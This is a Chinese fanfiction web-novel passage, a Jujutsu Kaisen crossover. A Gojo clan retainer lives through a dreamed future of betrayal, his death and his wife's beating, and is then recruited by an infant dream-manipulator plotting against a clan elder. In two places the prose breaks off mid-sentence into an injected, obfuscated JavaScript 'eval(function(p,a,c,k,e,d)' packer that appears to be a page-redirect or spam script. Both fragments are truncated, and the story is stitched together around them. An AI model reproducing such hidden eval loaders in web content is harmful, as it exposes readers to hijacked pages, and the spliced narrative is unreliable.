“怎么回来得那么晚?不是说今早结束吗?”妻子见他满脸擦不干净的水,等丈夫走近就从兜里拿出手帕轻轻擦拭着他的脸,眼底尽是真切的毫无掩饰的关心,“是长老那边有任务还是源君又为难你了?” “唉。”五条悠真叹着气,显然有事发生,但不想把糟糕的坏情绪带回家影响妻儿害他们为自己担忧便避开不答,转而问起家人的近况,“我出差的几天你们过得如何?应该没受欺负吧?” “当然没有,我们好着呢。”发觉爱人并不打算将遭受的委屈告知自己的五条雅兰,内心虽很失落,表面却还是配合地转移话题,“你在外工作本就辛苦,再挂念着我们那多累呀。” “说什么傻话呢?我拼搏至今不就是为了让你们能过上好日子的吗?不然我费尽心思努力爬到现在的位置又有什么意义?”尽管嘴上是那样讲,可他的眼神却变得无比柔软,温柔的笑意流露在外,“正是由于辛苦,才更要想着你和孩子增强动力嘛。” “……油嘴滑舌。”脸颊微红,她伸手推了推丈夫的胸膛娇嗔似的轻哼。 五条悠真笑着握住了爱妻柔软的小手,团成一团包进自己宽大的掌心里。 大概是被父母的说话声给吵醒了,三岁的大女儿嘟嘟哝哝、迷迷糊糊地揉着眼睛从沙发上坐起身找爸爸妈妈,睡得香香熟熟的怎么闹都闹不醒的两岁弟弟被有起床气的她极其粗暴地掀去一边:“……妈咪,我肚子饿了,要吃饭饭。” 靠在一起日常亲热的夫妇俩互相对视一眼,随后不约而同地笑出声,又异口同声道:“好,吃饭。” *** 吃完饭洗完澡再哄完孩子让他们自己回房间睡觉觉,这对忙活了一晚上终于能够熄灯休息的小夫妻手牵着手肩抵着肩,心满意足地躺进了温暖的被窝里。 “明天我可能还要出趟远门,替岩长老去东京办一件事。” 五条悠真摸了摸夫人柔顺光滑的一头秀发,想到他才刚回家还没和家人相处够一天又要外出了,不禁心生愧疚,满含歉意地向爱妻道歉:“对不起,明明之前说好这次回来一定会陪你的……” “瞎道歉什么?优先完成长老的命令是应该的,我们都能理解。”五条雅兰拍了拍他修长的胳膊,无奈的同时也有些好奇,“秘密任务?” “嗯。”应声后不知想起什么,他明显挣扎犹豫了一会,然后以试探的口吻小心翼翼道,“对啦,还有件事……就是今天下午岩长老叫我过去,说是等悟少爷长大了要芽子做他的玩伴,我答应了。” 五条雅兰顿时愣住。 玩伴? 在古老的御三家,无一例外的,“玩伴”这个身份等同于伺候主子的仆从,区别在于他们是陪伴主人长大的拥有一定地位且跟主人感情较好的贴身仆从。 若是伺候的人实力强大、地位卓越,那么他们的地位也会水涨船高,连带着家族里的长老亲信都不敢轻视贬低他们。 尤其他们即将被送去伺候的是能颠覆世界、拥有六眼的神之子…… 这是好事。 “天哪!这是好事呀!” 五条雅兰一脸惊喜地单手捂嘴,压抑不住的喜悦爬上眼角眉梢,一双美目闪闪发亮。 “有了悟少爷做靠山,看之后还有谁敢小瞧欺负我们的芽子?!”乖女儿不必再跟以前的他们一样被族人肆意欺压霸凌,未来甚至可以找到一个疼爱并敬重她的好丈夫,过上幸福美满的生活,这难道不是天大的喜事吗? 见爱妻不反对,原本有些忐忑不安的五条悠真立刻松了口气,俊秀的脸庞重新挂起笑容。 “是,我也是这么想的,只要成为六眼的玩伴,芽子的后半生就不用担心了。”所以他要更加拼命以取得家主和长老们的青睐,为了争夺那份资格,为了孩子们的终生与前程。 ——本应如此、本应如此才对。 如果不出现意外的话…… “什么?”五条悠真挺直腰背板板正正地跪坐在下首,骤然听闻长老宣布的消息,表情一怔,像是没听清对方话里的内容,喃喃道,“您刚刚说……” “你耳聋了?”七老八十长着一张橘皮脸的五条岩端坐主位,紧紧皱着眉头看向他,指尖无节奏地胡乱敲打桌面,态度极不耐烦,“我说,要送源的女儿去伺候六眼。” “至于芽子就送给平的孙子做侧室吧,现在的局势越发不明朗,我们必须拉拢平才行,嘛,反正以他孙子的身份,你女儿也算是高攀了。” “之前跟你讲过的话,就当作没这一回事吧。” ……没这一回事?没这一回事。 呵,呵呵,怎么可能? 拼死拼活甚至有好几次面临生死危机都只为得到那句承诺,可如今却被对方一声轻飘飘的否定直接打入地狱,这让他怎么接受?他无法接受! 五条悠真死死咬着牙关攥紧了拳头,希望一朝落空的愤怒令他难以控制激动沸腾的情绪,几乎是下意识地拔高了音量厉声质问:“凭什么?!” “明明一直以来为家族奉献更多的是我!付出更多的是我!无数次祓除咒灵差点死亡的也是我!五条源他又做过什么?!每次遇到危机躲起来的是他!逃跑的也是他!除了会拍您的马屁会送礼讨好您外他能有什么用处?!” “您知不知道——平长老的那个畜牲孙子打残过多少女人?!” 而你,居然要把我精心养大、不舍得让她受一点伤的宝贝女儿推进火坑里活活烧死? 哈,别忘了那些肮脏事平时都是谁帮你做的?要是没有我,你以为你能安枕无忧地稳居高位吗?不,你只会悄无声息地死无葬身之地! 所以你就是这么对待你最大的功臣的吗?!难道你认为我为你付出一切是理所应当的吗?! 别开玩笑了! 经年累月积攒出的汹涌怒火再也忍不住地齐齐爆发,如火山,如地震,如海啸,翻滚着、咆哮着,带着将要毁灭一整个空间的恐怖气势倾轧而下,磅礴的杀意即刻震住了面前呆坐的老人。 五条岩蠕动着嘴唇,半天找不回语言功能,缓了许久终于醒神,却从未想过区区一个还算好用的卑贱奴仆竟然敢当面侮辱驳斥自己,对自己宣泄怒气。 感受到极大冒犯的老者被气得立马拿起桌上的茶杯狠狠砸过去,滚烫的热水泼了他一脸:“你算个什么东西?!也敢在这里对我出言不逊!” “没有我,你至今还在最底层做杂役,跟你老婆一起任人差遣!你就是这么报答我的吗?!” “——滚出去!” 茶杯击中自己的额头,随之而来的滚热沸水浇了自己满脸,烫得他本能痛呼,理智却因此回归。 ……不,我怎么会干出这种疯事?! 五条悠真流下冷汗,连发疼的伤处都不管了,立即跪伏在地重重磕几个响头惶惶哀求:“我、我……我不是故意的,我也不知为何会说出那些话,长老,请您原谅我,请您给我一次补偿的机会!” “我什么都会做的,求您了,求您了!”若是惹恼对方被赶出去,那芽子嫁给平长老孙子的事情就真的没法翻盘了,他必须冷静下来,先保住自己的位置再想办法周旋。 可惜怒火中烧的五条岩不愿再看见他,径直起身甩袖离去,徒留他一人跪在原地苦苦祈求。 从那之后,五条悠真在五条家的处境一下子就反转了。 不,倒也不能说是反转,应是回归从前。 幸灾乐祸的同僚,侍卫与侍女们的窃窃私语,其余族人异样的眼光……这些其实都不太重要,毕竟他小时候就遭遇了很多,对内心根本毫无影响。 他唯一对不起的只有被自己连累的妻子儿女。 “抱歉,是我搞砸了。”五条悠真疲惫地坐在沙发上弯腰垂头,手肘撑着大腿,双手紧紧揪着短发,不断地谴责自己并向爱妻道歉,“都怪我口无遮拦,不仅害了你也害了芽子。” “……对不起,对不起,对不起……” “这不是你的错误,更不需要对我道歉。”五条雅兰坐在旁边倾身拥抱他,柔声细语地安抚,“跟以前相比这又算得了什么呢?大不了我继续帮佣,总之我不会让你们仨饿死的。” “放心吧夫君,我一定会努力工作养活你们的。”她侧过脸蹭了蹭对方,撒娇般地调笑道。 “……”五条悠真无力地扯了扯嘴角,想要露出平和的笑容却怎么都做不到,只能深深叹息,反手将爱人搂进怀内抱紧。 “谢谢,没有雅兰你我真的不知道该怎么办好了,所幸还有你在我身边。”若失去你,我跟马路边流浪的狗有何区别? “这次我会想办法处理的,相信我。” “嗯。”五条雅兰轻轻倚靠着丈夫的胸膛,安心地闭上眼睛。 “我相信你。” 他们静静地依偎在一起,真诚地期盼雨过天晴。 然而世事无常,命运总是辜负有情人,愿望终究也只是愿望。 确定翻盘无望的五条悠真果断带着前主的情报投靠了曾经的敌对方,并迅速成为翔太郎长老的亲信,气得五条岩在自己的房间里破口大骂,却因有死敌保着他而拿叛徒没办法。 偶尔五条悠真会在走廊的转角遇见五条源,两人仅仅擦肩而过,毫无交流,只是有时回头会发现对方站在后面定定盯着他的背影,眼神阴狠且怨毒,仿佛溺死于水中的恶鬼。 从儿时起便是这样,不明缘由地嫉妒、挑衅与欺凌,待成年之后又是永无止境地打压、针对和抢夺。 五条悠真累了,不想再计较,惟愿一家平安。 可在某天,他听从命令外出执行任务,却在拼命祓除咒灵后,不知打哪又冒出了新的咒灵,筋疲力竭的他无力抵抗。 尖利的牙齿咬断脊背,咀嚼着吞入腹中,男人就这么草率地死于诅咒口中。 临死前,五条悠真总算想通了—— 这是一个陷阱,执行者大概率是五条源,幕后黑手嘛,是岩长老吧,毕竟自己背叛的举动让对方蒙受奇耻大辱了。 至于翔太郎长老究竟知不知晓这件事……应该不知晓吧,不过即使知晓他也不会为了个随处可得的消耗品报仇。 会为此感到绝望而悲伤哭泣的,自始至终就只有雅兰和两个孩子。 但失去了他的保护,柔弱的妻儿必然撑不过寒冷残酷的冬季,生生冻死。 ……多么可笑的死法啊,一如我可笑的人生。 漫天的雪花飘舞,晶莹剔透,宛若轻盈的羽毛悄悄落下盖住了雪地上盛放的一大片艳丽红花。 他安然阖眼,平静地等待永眠。 本以为抵达了终末结局,谁知当五条悠真再一次睁开眼睛时,竟奇异地发现自己居然回到了五条家的院落。 难以置信。 这一刻金色的阳光穿过身躯投向大地,却没有显现人的影子,他才发觉手掌由实化虚,原是变成了与活人相隔的亡灵。 莫非是因为……我放不下雅兰和孩子们吗? 思及此,五条悠真赶紧飞进室内,想要寻找家人的身影,却正好撞见别人前来拜访向妻子宣告他死亡的一幕。 “……你说什么?”哐当声响,手中的东西一时拿不稳全部摔落地面,五条雅兰怔怔地看着眼前面露哀痛的族人,神情恍惚,呢喃着重复,“你方才说……是谁死了?” 对方叹气,不知该如何安慰,沉默许久也只能说句“请节哀”。 膝盖莫名其妙地发软,五条雅兰踉跄几步忽然跪倒在冰凉的地板上,之前摔裂的瓷盘碎片瞬间划破肌肤,流出的鲜血染红了浅黄的衣裙,疼得她徐徐落下两行清泪,浸湿颊边的发。 “……我不信。”五条雅兰低声喃喃,也不擦掉眼泪,反而固执地否认,“我不信夫君死了,他答应过我会平安到家,会给我带漂亮的饰品,给子女买新的玩具,所以他怎么可能会死?怎么可能会死啊?!” 她突然崩溃地捂着脸大叫,号啕痛哭。 好心来告诉她这个消息的族人连忙安慰了几句,希望她能重新振作,可五条雅兰却猛然伸手哽咽着紧紧拽住对方的衣袖,执着地追问丈夫的死因。 女子始终不相信爱人会那般轻易地死去,这背后一定存在什么她不知道的阴谋。 无奈之下他只好将大家暗地里的猜测告诉了她。 “悠真君接到任务离开时,有人瞧见源君偷偷从惩罚室拿走几只咒灵……” 哈,原来如此,果然如此。 不顾族人的强烈阻拦,熊熊燃烧的满腔怒火烧断了所有理性,她咬紧了牙关捏紧了拳头直直冲去五条源的院落,面见仇敌的第一眼就怒声质问是不是他害死了悠真。 五条源勃然大怒,指挥左右即刻将她丢出门外,五条雅兰死命挣扎,指着他鼻子痛骂:“若非心虚,你为何不辩解?!” “——没心肝的畜牲!嫉妒的小人!” “你闭嘴!”似是被戳中痛处,男子骤然爆发猛地出手抓过她脑袋重重撞上桌角。 一下、两下、三下…… 周围的侍女被主人狠戾地暴起给吓得面色苍白,瑟瑟发抖,哪怕雅兰快被打死了也无人敢拦。 于是一时之间,寂静的屋内仅余额头剧烈撞击桌角的砰砰巨响。 “呼、呼。”直至打累了,心情勉强舒畅一点的五条源才冷着脸松开紧抓的女人,任由娇弱的身躯滑倒在木板上,血迹蔓延。 “扔出去,由她自生自灭。”他淡淡丢下一句便直接转身走人,丝毫不管后事处理。 而侍女们也不敢忤逆主家的命令,果真低着头将人拖出门外随意丢弃。 “……” 五条雅兰倒在鹅卵石铺成的硌脚坚硬的小路上,像个被强行撕毁的破烂布娃娃,久久不得动弹。 不知过去了半天还是一天两天三四五天,她枯萎的手指才动了动,随即掌心撑着地面,身子颤颤巍巍地艰难地爬起来。 女人喘着粗气,胸膛微弱地起伏,仿佛随时都会断了生气,捂住脑门拖着半残的躯壳一步一步、跌跌撞撞地慢慢走回家。 ……不……不行……太冲动……孩子…… 干涸的血糊满了脸,眼前一片模糊,头上开颅般的剧痛疼得她手脚发颤,疼得她倒吸冷气,生理性的泪水控制不住地滑落。 愤怒地找人理论却反遭一顿打后理智终于回笼,五条雅兰想起了尚不知情的儿女,想起了失去丈夫庇护的糟糕未来。 没关系,没关系。 她在心底不断地给自己鼓劲打气。 我还有两个乖孩子,我要连同悠真的那一份照顾好他们,养育他们,我要看着他们长大成人,获得幸福圆满,不能跟我们一样终日碌碌无为。 五条雅兰再度燃起了希望。 可当她经过某间院落,却发现她乖巧懂事的子女被其他小孩团团包围。 “叛徒~叛徒~你们是叛徒的孩子,以后绝对也是叛徒!” “背叛家族的叛徒去死吧!” “反正你们将来肯定只能做侍从,那不如提早来做我的侍从吧,嘻嘻~” 年幼的孩童不知共情为何物,总有一种近乎残忍的天真。 他们嬉皮笑脸地嘲讽,欢欣鼓舞地扔着石头,得意洋洋地抬腿踩着肉椅,互相较量谁打得最厉害,好奇地撕裂受害者的伤处,放肆践踏别人的尊严,并且永远不懂悔改。 此时此景,正如彼时彼景——何等荒谬的轮回。 五条雅兰倚靠廊柱,静静地瞧着面前一幕。 半晌。 她忽然笑了。 笑得花枝乱颤,笑得直不起腰,笑得精美的银簪倾斜要掉不掉,凌乱的发丝垂落晃动,捂住额头的手指,指甲深深刺进血肉模糊的伤口,弯曲勾破划出几道鲜艳的血痕。 等笑到断裂的肋骨隐隐作痛,五条雅兰才逐渐停下平缓呼吸,扬起的嘴角却还挂着若有若无的笑意。 “呵。”她轻声嗤笑,满含讥讽。 “我们这辈子……活着到底有什么意义啊?” 女人不再往下看了。 她回到家,先洗澡把身上的脏污和血渍都冲洗干净,再打开衣柜,换掉破旧的衣服改穿华丽的振袖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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虚无的亡灵看到一位身穿黑西装的清秀少女安安静静地坐在那里,绚丽多彩的凤尾蝶扇动翅膀环绕着她跳跃飞舞。 左腿曲起踩着块鹅卵石,右腿则随意盘起倒向地板,她单手托腮,另一只手放松地搭在右边膝盖上,过于豪放的坐姿散发着与整个封闭守旧的五条家格格不入的独特气质。 这位奇怪的少女沉静地注视着他,注视着他们,不知在那坐了多久,眼底无波无澜,就仿佛一位幕外的观众,正百无聊赖地观赏一部荒唐的闹剧。 她是谁?她从哪来?什么时候出现的? 常年保持警惕的大脑条件反射地闪过以上那些问题,可下一秒五条悠真又猛地意识到对方是在场能够拯救妻儿的唯一活人。 管不了自己是否会被当作咒灵驱逐,他登时连滚带爬地冲到她面前跪下磕头,哭着哀求,求人救救自己的家人。 “拜托了,求你救救雅兰和芽子他们,之后不管是要祓除我还是要我做什么我都愿意,求你……” “求你……” 可惜少女似乎并未发现他,反倒沉浸于自己的内心世界,抬手捂着嘴,不懂在轻声念叨着什么。 “真是出乎我意料的迂腐败坏啊,嗯……稍微有点失策呢。” 这个家族腐朽封建的程度远超她以往的认知,即便是意大利那些自喻血统高贵也有点旧贵族通病的老牌家族都没这么“厉害”。 毕竟在黑手党的世界里,弱肉强食、物竞天择、优胜劣汰是唯一法则,固步自封不肯进化的势力早就被其他人吞噬灭掉了,要是彭格列跟五条家一样自视甚高,白兰·杰索还用得着花几年时间去谋划? ——笑死,开局即为结束。 直到对方哭得撕心裂肺喉咙都喊哑了,她才轻飘飘地瞥过去一眼,声音平淡:“与其四处求人,倒不如你自己成为那个掌握权力让别人来求你的人。” “这样做最起码也能保住全家性命,而不是任由蠢货玩弄糟蹋。” 五条悠真心急如焚,压根听不进她说的话:“拜托请您先救救雅兰,稍后……” 没等啰嗦的男人讲完,依旧保持原先坐姿的少女左手撑着脸颊,右手抬起懒洋洋地打了个响指。 啪的一声。 枯井、血迹、走动的脚印,刹那间全都消失了,只剩下破败的庭院以及屋檐下的她和他。 “……?”直起腰跪在原地怔怔望着周围场景变化的五条悠真,身为咒术师的那份敏锐知觉令其隐隐察觉到外界的现实,此刻终于后知后觉地醒悟过来,“梦?抑或幻境?” “梦耶?真耶?何必区分两者呢?”五条清菡悠然悠哉地答道,伸出手让蝴蝶落于指尖。 “你是谁?对我编造这种梦境究竟有何居心?!” 五条悠真蓦然后撤,神色警觉地盯着她,肌肉顿时绷紧蓄势待发。 “编造?不不不,你误会了,这可不是我胡乱编造的离谱剧情。”她笑眯眯地摆摆手,语气轻松,“那些全都是我从你脑海深处挖出来、你曾经构想过的注定会发生的未来。” “为什么战斗经验丰富的你会察觉不出异常?自然是因为你认为它很有可能发生于现实呀。” “其实你早就有预感了吧?五条源最近与岩长老的频繁来往,他的表现,上级在面对你暗示时的含烁其词……正是这些怪异的反应加在一起让你倍感不安,因此我才刚诱导你就自主接管后边的剧本了。” “我的作用只不过是提供一个宽阔的舞台与一位愿意配合的好演员提前助你操练一遍,你不感激就罢了怎还能反向指责我?”少女轻轻一笑,语调放缓,撒娇般地嗔怪,“你该夸奖我呀。” 五条悠真呼吸越发急促,捏紧的拳头,指甲深陷肉里掐出一道道印迹。 纵然很想开口反驳,直觉却告诉自己对方并未撒谎,故而更感痛苦,但新仇旧恨被梦境激发,眼下他对五条源的恨意也达到了前所未有的最巅峰。 ……我从未得罪过你,从未讽刺过你,可你为何总是要毁灭我珍重的一切?为何要害死我?为何要殴打一个刚失去丈夫的毫无缚鸡之力的可怜女人?就因为她是我的妻子吗?! 太荒谬了。 五条悠真沉默片刻,随即哑着嗓子重复最开始的问题。 “你到底是谁?” “我嘛,仅仅是一个微不足道的想要谋权篡位而已的小人物,你不需要太把我放心上。”五条清菡调皮地眨眨眼,故作可爱地向他比剪刀手笑。 听出对方的言下之意,男子震惊:“你想成为五条家的家主?不对,你竟然是五条家的人?!” ——他从未听说过族里有谁的术式是操控梦境的呀,难不成是流落在外的某支旁系? “是啊,很奇怪?虽然我也不太情愿啦,总觉得你们家很晦气。”五条清菡撇了撇嘴。 “你是希望我帮你?”五条悠真蹙眉,“我不可能背叛家主。” “那要是以长老之位许诺呢?”她慢悠悠地回道,而就是这一句惊住了对方。 “什……” 五条清菡干脆打断他,轻挑眉梢:“惊讶啥?我看你也不是个痴呆的傻瓜,应该能看出你现在的上级有多愚蠢吧?” “难道你以为解决掉五条源今后就万事大吉了?”她勾起唇角,意味不明地哼笑,“不对哦~” “导致你一家悲剧的源头不是还在吗?他现正坐于高位傲慢地俯视你们呐。” 五条清菡直视他的双眼不容闪避,逐渐压低的声音莫名蛊惑人心,恍惚之间,五条悠真竟错觉是伊甸园的蛇爬出了地狱来到红尘。 “我刚才有对你说过吧?与其跪下四处磕头求人,舍弃尊严也换不来结果,倒不如你自己成为掌权者去掌管他人生死。” 蛇吐着信子盘绕上他的肩膀缓缓勒紧脖颈,却又在他面前推开了一扇他以往不敢妄想的欲念之门。 致命,却充满吸引力。 砰,砰砰。 五条悠真无意识地屏住了呼吸,藏于胸腔内的心脏越跳越快,快得甚至隐约抽痛。 迷迷糊糊的,耳边似乎响起了一声诱惑的轻笑。 “既然你能为家人背叛岩长老,那么——” “你为什么不能杀掉他,自己做【岩长老】呢?” 8. 抽枝 “你为什么不能杀掉他,自己做【岩长老】呢?” 蛊惑人心的毒蛇在耳边轻声低语,回荡于脑海深处,唤醒了他这么多年潜藏的愤怒。 五条悠真恍惚想道:是啊,我为什么从来没有想过杀掉长老自己上位呢?纵使不愿再遵照长老命令,我也可以申请离族,那为什么我从未想过呢?是因为我已经习惯并接受这样丧失尊严的生活了吗? 她说得对,与其把性命交给他人掌管,倒不如……由我自己成为那个掌管他人性命的人。 这一次,我一定要让雅兰和孩子们过上幸福美满的生活,不再任人随意差遣,不再跪地求饶,而是挺直腰板堂堂正正地走在路中央。 五条清菡敏锐地察觉到他心态的变化,单手撑着脸颊哼笑:“这不是很好吗?如果连你自己都放弃了尊严甘愿被驯服,那么你的孩子也不可能获得尊严,更不可能诞生要自尊自爱自立自信的意识。” “儿女成长路上模仿的第一个对象就是父母啊,当然,也有些人天生与众不同,决不受外界影响,不过这种人一般很稀少就是了。” 谈到这个问题,她不由想起自己那位据说长大后会改变世界的目前依然躺在襁褓里喝奶的便宜兄弟。 他又会变成什么样子?是同样腐朽不堪满脑子封建思想,还是会跳出家族的束缚另行发展独特有趣的人格呢?真叫人期待呀。 五条清菡放下手,两边胳膊都搭在膝盖上,蝴蝶飞起重新落于肩膀,蝶翼上的鳞粉在金色阳光的照耀下闪烁着荧光。 “煞笔长老交给你们的秘密任务都有哪些?” “……”五条悠真抿着嘴,犹豫了一会,明显仍存在少许顾虑,可最终还是下定决心诚实回答,“针对某人布置陷阱、与政府要员或财阀进行接触交易,以及联系诅咒师。” “诅咒师?”她挑眉,倒也不太惊讶,毕竟身居高位的掌权者肯定都会有一些不方便放在明面做的事情委托给里世界的人处理,算是常态,只是语气上难免带着一丝嘲讽,“真是忠心家族的好长老。” 男人沉默,对此不做任何评价。 五条清菡也不在乎,换了个更加舒服的姿势懒洋洋地再问:“主要负责联系诅咒师的是谁?这种决不能被人发现的活,应该都是交给亲信吧?嗯……难不成是五条源?” “有他。”五条悠真低声回答,“岩长老并不是很信任我,安排给我的基本都是同政府财阀那边的暗盘交易。” “然而你能分辨出对方做的是什么类型的任务吧?即使他们没告诉大家。”少女变出一杯柳橙汁,端着慢慢喝了一口,还非常贴心地给人变桌椅变水。 “茶?或者饮料?” “……普通的开水就好,谢谢。” 五条悠真十分谨慎地坐下,确定这位新东家不反感他的行为才小心翼翼地拿起桌上的水杯抿了抿里面的水,然后一脸震惊地发现这水竟然与现实中的水无异,若非清楚知晓自己身处梦境,他都要以为自己在喝一杯真正的凉白开了。 如此恐怖的术式,她绝对有一级的实力,说不准还要再往上……往上…… 今年刚升到二级的五条悠真冷汗涔涔地立刻停止脑内猜想,强迫自己把注意力挪向其它地方,故作镇定地回复:“是,终归相处多年,我能通过部分细节看出他们准备执行的任务是哪一类。” “那就好办很多了。”五条清菡笑眯眯地将手中玻璃杯放置身旁,轻快道,“等哪天你确定五条源接到联络诅咒师的秘密任务时再入梦来告诉我吧。” “只要在心中默念‘已有消息’并想着我就行。” 五条悠真再次陷入静默。 片刻后他垂眸询问,语气格外尊敬:“我还不知道该怎么称呼大人您呢。” “称呼啊……是呢,是得有个方便称呼的名字。”五条清菡单手托腮,指尖敲打着脸颊,随意道,“那就叫我‘you know who’吧,怎么样?简单形象又好记。” “?”英语特别糟糕并且get不到这个梗的五条悠真满头雾水地瞧着对方,不过他通过这句话已经明白了新上司对自己的态度。 ……看来是我还没获得信任啊,也不奇怪,但我必须尽快做出成绩了。 他并未感到失落,站起身低垂着脑袋拱手行了一礼:“若您无事吩咐,那属下就先告退了。” “嗯,去吧去吧。”五条清菡无所谓地摆摆手,却在人完全脱离梦境的前一刻忽然想起某件事,“对啦,刚刚忘记跟你讲。” “你妻子似乎做了个噩梦呢。”她笑吟吟地注视对方,掌心捧着脸,声音略显欢快,“出去好好安慰一下她吧。” ******* 现实。 五条悠真从睡梦中猛然惊醒,想起临走前少女那句意义不明的提醒,立马条件反射地扭头看向身边同样沉睡的爱人。 只见向来温婉柔和的妻子此刻正紧紧蹙着眉,呼吸急促面露痛苦,死咬着牙关,额头甚至有青筋暴起显得表情无比狰狞,隐隐约约地透出一股不知从何而来的深沉恨意。 男人的心乱了,惊慌失措地连忙拍了拍她,压低音量不断地呼唤,企图把人叫起来:“雅兰,雅兰,快醒醒,醒醒!” 经过丈夫坚持不懈地叫唤,成功被拉出那个可怕梦境的五条雅兰猛地睁大眼睛,胸膛剧烈起伏,惊魂未定地喘着气。 “雅兰?”五条悠真眼含担忧地又喊了一声。 “……” 听见熟悉的呼喊,女人极其缓慢地、一点一点地转过头,望着夫君焦急忧虑的俊秀脸庞,不知道为什么,两行清泪竟徐徐滑落,沾湿鬓发。 五条悠真见状越发心疼,叹息着伸手将爱妻深深搂入怀中,温声安慰:“没事了,全都是噩梦,那一切都不会发生。” “别怕,雅兰,别害怕。” “……嗯。”五条雅兰埋入丈夫的怀抱,揪住他衣服的手越来越紧,哽咽着应声。 再度叹气,男子轻轻拍哄夫人,内心却对那位不知名的神秘族人愈发忌惮和警惕。 ……既然能神不知鬼不觉地将我拽入梦境自然也能将别人拽入梦境,通过这种诡异的手段,她究竟拉拢了多少人? 让我监视五条源的动态,目的是岩长老?她准备如何实现?但说起那畜牲,他周围最大的异常…… 五条悠真突兀地开口:“雅兰,我记得之前吃饭的时候你好像讲过纱奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对方调皮得让她忍不住怀疑是不是自己不该幻化活泼的动物做他玩伴,你瞅瞅,才多久呀!都学会开坦克创人了! 好在五条悟平时不管多捣蛋,只要妹妹一抱住他就会乖乖听话,伸手圈着她脖颈,歪过脑袋听她的心跳声,安静地趴着不乱扭乱动,可爱得简直像个精灵天使。 五条清菡拍拍他的头顶后便将自己的计划告诉了这位理应知情的最重要的当事人,神态坦荡大方,毫无隐瞒。 当然,年幼的神子一点都听不懂,迷迷蒙蒙的,咬着手指一脸困惑地仰起头瞧她,喉咙里发出猫咪一样的呼噜声。 “不明白很正常,无需着急,你还没到能够听懂人话的阶段呢。”五条清菡又摸摸他,纵然知晓对方啥都不懂,却仍旧耐心地安抚他。 “总而言之,你绝对不会有事的,放心吧。” 五条悟开心地抬高身子蹭了蹭妹妹软绵的掌心。 “好啦,既已谈妥就该继续办正事了。”她顺手一捏雪团,微眯着眼转过身将视线投向远方那一大片绚烂的虚幻光景,“接下来……” “该去谁的梦境比较好呢~” 9. 长叶 【最近大概会有一些人来接近试探你,若是遇见了无需担忧,他们都是你的同僚。】躺在被窝里的女婴打着哈欠,咂吧咂吧小嘴,扭动着身子换了个更加舒服的睡姿。 五条纱奈将院子内晾晒的衣服一件件收回,闻言非常惊讶地转过头看她:“同僚?” “您已经发展出自己的势力了吗?” 【嗯,虽然人数比较少,但用来应付如今的局面已是足够了。】昏昏欲睡的五条清菡努力抵抗着困意慵懒地应声。 “那我需要做什么?如果他们询问我的身份,我可以承认吗?”终于要跟同一阵营的伙伴接触,莫名有点紧张的五条纱奈谨慎地向她确认。 【不啊,只要对方暗示的时候不否认就行了,有些东西落实到明面又是另外一回事了。】大概是近段时间编梦次数太多了,精神力消耗很大,她疲惫地合上眼睛,恹恹地解答。 【许多事情一旦留下痕迹被抓住就难以翻盘了,连狡辩否定的机会都无,因此决不能暴露底细,让别人捉住把柄反将你一军。】 感觉被子束缚了自己很难受,女孩不禁皱着眉头使劲挣扎,尝试翻身脱离困境。 【况且你的新同事都不是蠢货,他们各有各的想法,不过是有所求才听令于我,几乎只有野心没有忠心,倘若得知我的真身,绝对会背叛反咬我一口,或者借机提出更多条件。】 【纱奈呀纱奈,你可不能对豺狼放松警惕啊。】 五条纱奈听完对方的嘱咐心里顿时一紧,原先找到了同伴的喜悦立刻消失得无影无踪,板着一张脸郑重地答应:“是。” 【那就准备一下吧,今天的聚会最好不要缺席,然后……】 她张大了嘴巴“咿咿呀呀”不满地控诉叫唤。 【快点帮我把被子松开,勒死了!】 *** 盛装打扮,不放心留“女儿”独自在家的五条纱奈怀抱着孩子一脸微笑地出现于五条夫人们共同举办的茶话会上。 有人笑着打趣她:“怎么今日穿得这么漂亮?莫不是源君执行任务回来了想要迷住他的眼?” “是啊,男人嘛,都喜欢年轻美丽的,妻子若邋邋遢遢不爱干净,出门岂不是丢他的脸?”五条纱奈已能游刃有余地回应,“最重要的是,我不能被那群不检点的侧室比下去呀。” “呵呵,纱奈你越来越明白了嘛。” “这都是善良的姐姐们平日愿意传授经验教导我的功劳。”她笑眯眯地说着甜言蜜语,哄得一群贵妇心花怒放。 “清菡也长大了呢,瞧着白白嫩嫩的多讨喜。”一位关系跟她更亲密的夫人坐在旁边笑着伸手指逗弄了一下襁褓里的婴儿,五条清菡十分配合地对她露出天真无邪的软萌笑容,精致可爱得让人情不自禁地捂着胸口直感叹。 这就是为什么大家都不反感纱奈总是带着女儿出席下午茶聚会的原因了——撇开清菡过于年幼不能放心交给侍女照顾的部分,这孩子不哭不闹聪明伶俐又长得好看,时不时地还会对你撒娇对你笑,搁谁谁会不喜欢呢? 每一个拥有正常三观的成年人面对乖巧懂事的幼崽基本都会心软,情绪再烦躁也会变得宽容大度,连带着对能养出这种乖孩子的父母产生好感。 与其相隔两个座位的五条雅兰静静地看着别人与纱奈互动,等她们的交流告一段落后才微笑着拿起搁置在自己脚边的一袋中药补品走过去,不仅亲手交给对方,讲话的语气还格外轻柔温和,令人如沐春风。 “清菡长大是很好,但这个年纪的孩子特别容易生病,得时时刻刻盯着,纱奈你就更辛苦了呀,所以一定要保重好身体千万不能倒下。” “这些营养品都是我以前的医生给我开的,效果不错,你收着,就当是我的贺礼了。” 五条纱奈大吃一惊,连忙摆手拒绝:“这怎么行?雅兰姐你快拿回去。” “哎,客气啥呀?咱们都是朋友,朋友之间何必计较那么多?”五条雅兰貌似很生气“闺蜜”竟跟自己如此疏离,一手抓着补品姿态强硬地放人腿上,另一只手则顺势握住她的手掌,借着袋子的遮掩,指尖轻轻敲打两下她的手背。 都是朋友……背着人偷偷敲打手背……清菡大人说过要选择悠真君…… 听懂暗示的五条纱奈一转态度,“深受感动”地收下了那袋中药:“那我就却之不恭了。” “谢谢你,雅兰姐。” 